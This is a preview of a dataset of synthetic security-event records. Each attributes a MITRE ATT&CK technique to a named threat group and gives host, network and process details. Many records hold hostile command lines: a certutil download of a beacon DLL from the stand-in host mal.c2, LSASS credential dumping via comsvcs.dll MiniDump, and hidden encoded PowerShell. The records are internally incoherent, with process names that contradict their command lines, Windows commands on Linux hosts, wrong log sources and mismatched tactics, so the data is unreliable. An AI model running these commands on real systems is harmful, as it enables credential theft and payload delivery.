text
stringlengths 1.13k
1.33k
|
|---|
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1021.006 using cloud-native technique.","sub_technique":"Windows Remote Management","tactic":["Collection","Discovery","Credential Access"],"technique_id":"T1021.006"},"event_id":"evt_mustangpanda_20250615T174325000Z_0001001","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["TLS","Base64","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.58.72.28","name":"DB-ORACLE-06Q1H18FJP","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1001Mustang PandaT1021.006"},"network":{"domain":"cdn-content.com","dst_ip":"1.172.196.104","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"wmic.exe","parent_name":"svchost.exe"},"source":"Windows Security Log","timestamp":"2026-08-08T06:54:29.000Z","user":{"name":"i-h11rkck2sjic","sid":"S-1-5-21-240606968-913642588-6946"}}
|
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1566.001 using encrypted C2 technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Defense Evasion","Collection","Execution"],"technique_id":"T1566.001"},"event_id":"evt_mustangpanda_20250123T104633000Z_0001003","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Fileless","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.126.200.39","name":"DB-ORACLE-EEILMHHDJL","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1003Mustang PandaT1566.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.103.75.57","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"cmstp.exe","parent_name":"svchost.exe"},"source":"Windows Security Log","timestamp":"2025-10-10T02:39:21.000Z","user":{"name":"svc_qaji5q09yv4b","sid":"S-1-5-21-598676869-714938287-5173"}}
|
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1531 using LOLBin technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Credential Access","Lateral Movement","Initial Access"],"technique_id":"T1531"},"event_id":"evt_scatteredspider_20250314T230039000Z_0001005","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["LOLBin","TLS","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.0.115.248","name":"DB-ORACLE-0HJTA1DQ0Y","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1005Scattered SpiderT1531"},"network":{"domain":"github.com","dst_ip":"1.92.15.92","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"bitsadmin.exe","parent_name":"explorer.exe"},"source":"Windows Security Log","timestamp":"2025-09-07T06:17:55.000Z","user":{"name":"CORP\\q93lofju3kfk","sid":"S-1-5-21-629263306-534511207-6874"}}
|
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1003.001 using LOLBin technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Collection","Execution"],"technique_id":"T1003.001"},"event_id":"evt_scatteredspider_20250126T064000000Z_0001007","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["LOLBin","TLS","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.214.14.75","name":"AZURE-VM-NPJFDO6E7R","os":"Ubuntu 22.04"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1007Scattered SpiderT1003.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.180.217.35","dst_port":5985,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 696 C:\\temp\\lsass.dmp full","name":"certutil.exe","parent_name":"services.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-07-13T22:58:55.000Z","user":{"name":"arn:aws:iam::b811uzjvcjrz","sid":"S-1-5-21-614040652-813003592-7898"}}
|
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1071.001 using cloud-native technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Reconnaissance","Persistence","Credential Access"],"technique_id":"T1071.001"},"event_id":"evt_volttyphoon_20250728T094422000Z_0001009","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","WMI","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.166.217.139","name":"WIN-FIN-SRV-SS32SUW1VI","os":"Windows 11"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1009Volt TyphoonT1071.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.163.71.110","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 511 C:\\temp\\lsass.dmp full","name":"bitsadmin.exe","parent_name":"svchost.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-11-19T02:43:29.000Z","user":{"name":"CORP\\5t1tmq03m64e","sid":"S-1-5-21-117121737-642507091-1350"}}
|
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1570 using cloud-native technique.","sub_technique":"Lateral Tool Transfer","tactic":["Initial Access","Discovery","Reconnaissance"],"technique_id":"T1570"},"event_id":"evt_scatteredspider_20260629T222026000Z_0001011","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Fileless","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.66.141.242","name":"IAM-ROLE-TVIWT6OS7Z","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1011Scattered SpiderT1570"},"network":{"domain":"aws.amazon.com","dst_ip":"1.3.131.22","dst_port":8443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"rundll32.exe","parent_name":"explorer.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-11-25T02:45:49.000Z","user":{"name":"CORP\\gqin7bkvh1f8","sid":"S-1-5-21-892540178-866959555-6451"}}
|
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1570 using cloud-native technique.","sub_technique":"Lateral Tool Transfer","tactic":["Discovery","Impact"],"technique_id":"T1570"},"event_id":"evt_lapsus_20250708T195437000Z_0001013","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["LOLBin","Fileless","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.91.128.195","name":"WIN-FIN-SRV-QW64AIMGBZ","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1013Lapsus$T1570"},"network":{"domain":"github.com","dst_ip":"1.178.68.228","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"mshta.exe","parent_name":"explorer.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-01-10T14:39:49.000Z","user":{"name":"svc_b6gcc90eb13z","sid":"S-1-5-21-780524426-256926112-5349"}}
|
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1071.001 using LOLBin technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Reconnaissance","Privilege Escalation"],"technique_id":"T1071.001"},"event_id":"evt_apt41_20250717T080801000Z_0001015","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["WMI","Fileless","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.113.92.79","name":"WIN-FIN-SRV-QMDR0I31NA","os":"Windows 11"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1015APT41T1071.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.88.238.249","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"bitsadmin.exe","parent_name":"svchost.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-04-10T00:24:25.000Z","user":{"name":"CORP\\bbfvl8vrgmi2","sid":"S-1-5-21-616243239-204616200-7468"}}
|
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1566.001 using encrypted C2 technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Credential Access","Lateral Movement"],"technique_id":"T1566.001"},"event_id":"evt_lapsus_20250112T011116000Z_0001017","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["Base64","Fileless","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.24.132.184","name":"APP-WEB-UY307T7L6M","os":"Ubuntu 22.04"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1017Lapsus$T1566.001"},"network":{"domain":"github.com","dst_ip":"1.160.56.26","dst_port":8443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"wmic.exe","parent_name":"svchost.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-12-08T13:47:50.000Z","user":{"name":"i-76gkn4xlrym2","sid":"S-1-5-21-560676862-973966961-8921"}}
|
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1003.001 using cloud-native technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Defense Evasion","Execution"],"technique_id":"T1003.001"},"event_id":"evt_scatteredspider_20250622T045915000Z_0001019","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["WMI","LOLBin","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.185.2.241","name":"IAM-ROLE-J42DCLPQ96","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1019Scattered SpiderT1003.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.12.50.158","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"certutil.exe","parent_name":"services.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-05-09T00:17:50.000Z","user":{"name":"CORP\\tbfs54uqvovq","sid":"S-1-5-21-589370998-589050426-3836"}}
|
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1484.001 using fileless technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Privilege Escalation"],"technique_id":"T1484.001"},"event_id":"evt_apt41_20260616T075802000Z_0001021","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["WMI","TLS","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.172.103.143","name":"IAM-ROLE-1X3VBOT9D3","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1021APT41T1484.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.17.240.107","dst_port":8443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"certutil.exe","parent_name":"svchost.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-01-29T18:37:47.000Z","user":{"name":"azuread\\8ys8x4z04ler","sid":"S-1-5-21-947499446-779544054-6420"}}
|
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1484.001 using cloud-native technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Discovery","Lateral Movement"],"technique_id":"T1484.001"},"event_id":"evt_unc4841_20251013T171912000Z_0001023","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Fileless","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.251.17.83","name":"APP-WEB-V0D7Y5A0NM","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1023UNC4841T1484.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.55.58.157","dst_port":8443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2312 C:\\temp\\lsass.dmp full","name":"mshta.exe","parent_name":"services.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-11-22T02:35:20.000Z","user":{"name":"CORP\\58iavs58ddj6","sid":"S-1-5-21-446607449-859764494-6077"}}
|
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1003.001 using cloud-native technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Credential Access","Collection"],"technique_id":"T1003.001"},"event_id":"evt_unc4841_20251118T205306000Z_0001025","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["TLS","LOLBin","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.59.84.194","name":"AZURE-VM-IG45Z5Y0E3","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1025UNC4841T1003.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.172.104.41","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2070 C:\\temp\\lsass.dmp full","name":"wmic.exe","parent_name":"services.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-08-27T19:34:35.000Z","user":{"name":"i-sqhacrzvwzyy","sid":"S-1-5-21-697806804-169124214-5532"}}
|
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1546.003 using cloud-native technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Initial Access"],"technique_id":"T1546.003"},"event_id":"evt_apt29_20260427T114657000Z_0001027","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["Fileless","JA3 Spoof","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.21.226.17","name":"WIN-FIN-SRV-0IWI0YE7L3","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1027APT29T1546.003"},"network":{"domain":"aws.amazon.com","dst_ip":"1.90.69.222","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3194 C:\\temp\\lsass.dmp full","name":"cmstp.exe","parent_name":"services.exe"},"source":"Windows Security Log","timestamp":"2026-12-28T00:32:38.000Z","user":{"name":"i-rxc2jab4ha99","sid":"S-1-5-21-151038169-889080143-8484"}}
|
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1098.004 using cloud-native technique.","sub_technique":"SSH Authorized Keys","tactic":["Initial Access","Exfiltration","Reconnaissance"],"technique_id":"T1098.004"},"event_id":"evt_unc4841_20250923T174447000Z_0001029","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["LOLBin","Fileless","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.202.210.69","name":"WIN-FIN-SRV-M1UARQUNCL","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1029UNC4841T1098.004"},"network":{"domain":"update.microsoft.com","dst_ip":"1.181.120.101","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"certutil.exe","parent_name":"explorer.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-05-11T17:16:36.000Z","user":{"name":"arn:aws:iam::lc5koanhxo5u","sid":"S-1-5-21-599180254-868282670-5667"}}
|
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1003.001 using cloud-native technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Impact","Exfiltration","Execution"],"technique_id":"T1003.001"},"event_id":"evt_unc4841_20260403T013836000Z_0001031","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["LOLBin","Base64","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.97.222.16","name":"EC2-INST-FFB4AXHAV2","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1031UNC4841T1003.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.149.250.123","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 512 C:\\temp\\lsass.dmp full","name":"mshta.exe","parent_name":"svchost.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-07-05T18:09:30.000Z","user":{"name":"azuread\\o4501wbd3one","sid":"S-1-5-21-195794340-723722479-9668"}}
|
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1566.001 using cloud-native technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Exfiltration","Persistence","Privilege Escalation"],"technique_id":"T1566.001"},"event_id":"evt_fin7_20250407T062343000Z_0001033","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["TLS","LOLBin","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.98.48.213","name":"AZURE-VM-CC0T9XHR43","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1033FIN7T1566.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.5.42.43","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2603 C:\\temp\\lsass.dmp full","name":"wmic.exe","parent_name":"svchost.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-12-04T02:24:24.000Z","user":{"name":"azuread\\4r9qchd7ltkt","sid":"S-1-5-21-566143618-719677781-6147"}}
|
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1098.004 using encrypted C2 technique.","sub_technique":"SSH Authorized Keys","tactic":["Lateral Movement"],"technique_id":"T1098.004"},"event_id":"evt_apt41_20260430T233034000Z_0001035","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","WMI","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.33.154.43","name":"DB-ORACLE-482C2BJFQ8","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1035APT41T1098.004"},"network":{"domain":"aws.amazon.com","dst_ip":"1.194.29.239","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"cmstp.exe","parent_name":"services.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-03-25T21:04:47.000Z","user":{"name":"svc_f3drzeg58g78","sid":"S-1-5-21-486862410-519631052-5569"}}
|
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1003.001 using fileless technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Collection","Persistence"],"technique_id":"T1003.001"},"event_id":"evt_apt29_20260226T012401000Z_0001037","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["Base64","Fileless","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.129.134.185","name":"AZURE-VM-IBMJRYTV4G","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1037APT29T1003.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.126.23.14","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3299 C:\\temp\\lsass.dmp full","name":"bitsadmin.exe","parent_name":"winlogon.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-03-29T00:58:55.000Z","user":{"name":"CORP\\jr5ymt54dqtd","sid":"S-1-5-21-870570336-765939187-4158"}}
|
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1003.001 using LOLBin technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Privilege Escalation","Defense Evasion","Lateral Movement"],"technique_id":"T1003.001"},"event_id":"evt_mustangpanda_20250429T212939000Z_0001039","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["LOLBin","TLS","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.184.221.197","name":"WIN-FIN-SRV-9B6VB26ZKW","os":"Windows Server 2022"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1039Mustang PandaT1003.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.7.255.41","dst_port":8443,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1371 C:\\temp\\lsass.dmp full","name":"bitsadmin.exe","parent_name":"explorer.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-04-20T19:06:59.000Z","user":{"name":"CORP\\767k70uh7itb","sid":"S-1-5-21-737509983-756851218-9317"}}
|
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1546.003 using fileless technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Lateral Movement","Collection","Defense Evasion"],"technique_id":"T1546.003"},"event_id":"evt_mustangpanda_20251020T022244000Z_0001041","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["LOLBin","Fileless","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.73.13.232","name":"AZURE-VM-J7KETN6FTQ","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1041Mustang PandaT1546.003"},"network":{"domain":"update.microsoft.com","dst_ip":"1.140.231.25","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"bitsadmin.exe","parent_name":"winlogon.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-05-04T04:44:41.000Z","user":{"name":"svc_394kfn7n1er9","sid":"S-1-5-21-281398116-465794767-4181"}}
|
